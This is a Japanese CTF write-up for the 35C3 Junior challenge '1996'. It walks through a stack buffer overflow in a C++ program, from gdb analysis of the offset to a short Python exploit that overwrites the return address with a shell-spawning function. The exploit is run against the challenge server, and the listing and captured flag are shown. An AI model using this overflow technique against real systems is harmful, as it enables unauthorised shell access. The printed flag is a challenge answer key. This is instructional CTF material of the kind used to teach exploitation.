35C3 Junior CTF: 1996
問題
問題文
It's 1996 all over again!
nc 35.207.132.47 22227
Difficulty estimate: very easy
問題概要
x86_64 の ELF ファイルとそのソースコードおよびそのプログラムが動いている接続先が与えられる.
解答例
指針
- buffer overflow による return address の書き換え
解説
与えられた C++ のソースコードは以下のようなものであった.
// compile with -no-pie -fno-stack-protector #include <iostream> #include <unistd.h> #include <stdlib.h> using namespace std; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } int main() { char buf[1024]; cout << "Which environment variable do you want to read? "; cin >> buf; cout << buf << "=" << getenv(buf) << endl; }
buffer overflow により main() の return address を spawn_shell() のアドレスに書き換えればいい.
変数 buf[] の先頭アドレスから Stack トップにある return address までの距離, すなわちオフセットを gdb を使って調べた.
kira@~$ gdb -q 1996 Reading symbols from 1996...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x4008d1 Starting program: /home/kira/1996 Temporary breakpoint 1, 0x00000000004008d1 in main () (gdb) disas Dump of assembler code for function main: 0x00000000004008cd <+0>: push rbp 0x00000000004008ce <+1>: mov rbp,rsp => 0x00000000004008d1 <+4>: push rbx 0x00000000004008d2 <+5>: sub rsp,0x408 0x00000000004008d9 <+12>: lea rsi,[rip+0x188] # 0x400a68 0x00000000004008e0 <+19>: lea rdi,[rip+0x200779] # 0x601060 <_ZSt4cout@@GLIBCXX_3.4> 0x00000000004008e7 <+26>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x00000000004008ec <+31>: lea rax,[rbp-0x410] 0x00000000004008f3 <+38>: mov rsi,rax 0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <_ZSt3cin@@GLIBCXX_3.4> 0x00000000004008fd <+48>: call 0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt> 0x0000000000400902 <+53>: lea rax,[rbp-0x410] 0x0000000000400909 <+60>: mov rsi,rax 0x000000000040090c <+63>: lea rdi,[rip+0x20074d] # 0x601060 <_ZSt4cout@@GLIBCXX_3.4> 0x0000000000400913 <+70>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000400918 <+75>: lea rsi,[rip+0x17a] # 0x400a99 0x000000000040091f <+82>: mov rdi,rax 0x0000000000400922 <+85>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000400927 <+90>: mov rbx,rax 0x000000000040092a <+93>: lea rax,[rbp-0x410] 0x0000000000400931 <+100>: mov rdi,rax 0x0000000000400934 <+103>: call 0x400780 <getenv@plt> 0x0000000000400939 <+108>: mov rsi,rax 0x000000000040093c <+111>: mov rdi,rbx 0x000000000040093f <+114>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000400944 <+119>: mov rdx,rax 0x0000000000400947 <+122>: mov rax,QWORD PTR [rip+0x200692] # 0x600fe0 0x000000000040094e <+129>: mov rsi,rax 0x0000000000400951 <+132>: mov rdi,rdx 0x0000000000400954 <+135>: call 0x400770 <_ZNSolsEPFRSoS_E@plt> 0x0000000000400959 <+140>: mov eax,0x0 0x000000000040095e <+145>: add rsp,0x408 0x0000000000400965 <+152>: pop rbx 0x0000000000400966 <+153>: pop rbp 0x0000000000400967 <+154>: ret End of assembler dump.
以下の部分より buf[] の先頭アドレスが [rbp-0x410] であることが分かった. また x86_64 では関数の引数を Stack に push するのではなく RDI レジスタや RSI レジスタなどの汎用レジスタを介して渡していることも確認できる.
0x00000000004008ec <+31>: lea rax,[rbp-0x410] 0x00000000004008f3 <+38>: mov rsi,rax 0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <_ZSt3cin@@GLIBCXX_3.4> 0x00000000004008fd <+48>: call 0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
Call Stack の状態を模式図で書くと以下のようになる.
(lower address) ... | top of buf | <= rbp-0x410 ... | saved rbp | | return addr | (higher address)
したがって buf の先頭アドレスから return address までは, [rbp-0x410] ~ [rbp-0x1] までの 0x410 Bytes と sabed rbp の 8 Bytes を足した 0x418 Bytes の距離がある.
spawn_shell のアドレスも調べる.
(gdb) disas spawn_shell Dump of assembler code for function _Z11spawn_shellv: 0x0000000000400897 <+0>: push rbp 0x0000000000400898 <+1>: mov rbp,rsp 0x000000000040089b <+4>: sub rsp,0x10 0x000000000040089f <+8>: lea rax,[rip+0x1b3] # 0x400a59 0x00000000004008a6 <+15>: mov QWORD PTR [rbp-0x10],rax 0x00000000004008aa <+19>: mov QWORD PTR [rbp-0x8],0x0 0x00000000004008b2 <+27>: lea rax,[rbp-0x10] 0x00000000004008b6 <+31>: mov edx,0x0 0x00000000004008bb <+36>: mov rsi,rax 0x00000000004008be <+39>: lea rdi,[rip+0x194] # 0x400a59 0x00000000004008c5 <+46>: call 0x4007a0 <execve@plt> 0x00000000004008ca <+51>: nop 0x00000000004008cb <+52>: leave 0x00000000004008cc <+53>: ret
0x0000000000400897 であるとわかった.
以上より Exploit は以下のように書ける.
#!/usr/bin/env python2 win_addr = "\x97\x08\x40\x00\x00\x00\x00\x00" buf = 'A' * (0x418) buf += win_addr print (buf)
- 実行結果
$ (python2 exploit.py; cat) | nc 35.207.132.47 22227 Which environment variable do you want to read? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@=ls 1996 bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var cat flag.txt 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14